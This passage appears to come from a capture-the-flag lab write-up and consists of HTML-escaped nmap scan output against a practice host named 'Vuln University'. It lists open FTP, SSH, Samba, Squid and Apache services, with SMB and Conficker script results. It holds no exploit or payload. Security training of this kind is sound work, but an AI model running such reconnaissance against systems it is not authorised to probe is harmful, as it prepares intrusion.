&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;21/tcp&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;open&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;ftp&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;syn-ack ttl 63 vsftpd 3.0.3&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;22/tcp&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;open&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;ssh&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)|&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;139/tcp&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;open&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;445/tcp&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;open&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;netbios-ssn syn-ack ttl 63 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;3128/tcp open&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;http-proxy&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;syn-ack ttl 63 Squid http proxy 3.5.12&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|_http-server-header: squid/3.5.12&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|_http-title: ERROR: The requested URL could not be retrieved&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;3333/tcp open&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;http&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #fa0000; font-size: 11pt;&quot;&gt;&amp;nbsp;syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;| http-methods:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|_&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;Supported Methods: POST OPTIONS GET HEAD&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|_http-title: Vuln University&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;No exact OS matches for host.&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;Uptime guess: 198.840 days (since Wed Sep 11 02:15:18 2019)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;Network Distance: 2 hops&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;TCP Sequence Prediction: Difficulty=261 (Good luck!)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;IP ID Sequence Generation: All zeros&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;Host script results:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;| nbstat: NetBIOS name: VULNUNIVERSITY, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: &amp;lt;unknown&amp;gt; (unknown)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;| Names:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;VULNUNIVERSITY&amp;lt;00&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;Flags: &amp;lt;unique&amp;gt;&amp;lt;active&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;VULNUNIVERSITY&amp;lt;03&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;Flags: &amp;lt;unique&amp;gt;&amp;lt;active&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;VULNUNIVERSITY&amp;lt;20&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;Flags: &amp;lt;unique&amp;gt;&amp;lt;active&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;\x01\x02__MSBROWSE__\x02&amp;lt;01&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;Flags: &amp;lt;group&amp;gt;&amp;lt;active&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;WORKGROUP&amp;lt;00&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;Flags: &amp;lt;group&amp;gt;&amp;lt;active&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;WORKGROUP&amp;lt;1d&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;Flags: &amp;lt;unique&amp;gt;&amp;lt;active&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;WORKGROUP&amp;lt;1e&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;Flags: &amp;lt;group&amp;gt;&amp;lt;active&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;| Statistics:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|_&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;| p2p-conficker:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;Checking for Conficker.C or higher...&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;Check 1 (port 41203/tcp): CLEAN (Couldn&#39;t connect)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;Check 2 (port 45735/tcp): CLEAN (Couldn&#39;t connect)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;Check 3 (port 56253/udp): CLEAN (Failed to receive data)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;Check 4 (port 32651/udp): CLEAN (Failed to receive data)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|_&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;0/4 checks are positive: Host is CLEAN or ports are blocked&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;| smb-os-discovery:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;OS: Windows 6.1 (Samba 4.3.11-Ubuntu)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;Computer name: vulnuniversity&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;NetBIOS computer name: VULNUNIVERSITY\x00&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;Domain name: \x00&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;FQDN: vulnuniversity&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|_&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;System time: 2020-03-27T22:25:24-04:00&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;| smb-security-mode:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;account_used: guest&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;authentication_level: user&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;challenge_response: supported&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|_&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;message_signing: disabled (dangerous, but default)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;| smb2-security-mode:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;2.02:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|_&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;Message signing enabled but not required&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;| smb2-time:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;date: 2020-03-28T02:25:24&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;font-size: 11pt; margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;|_&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 11pt;&quot;&gt;&amp;nbsp;start_date: N/A&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
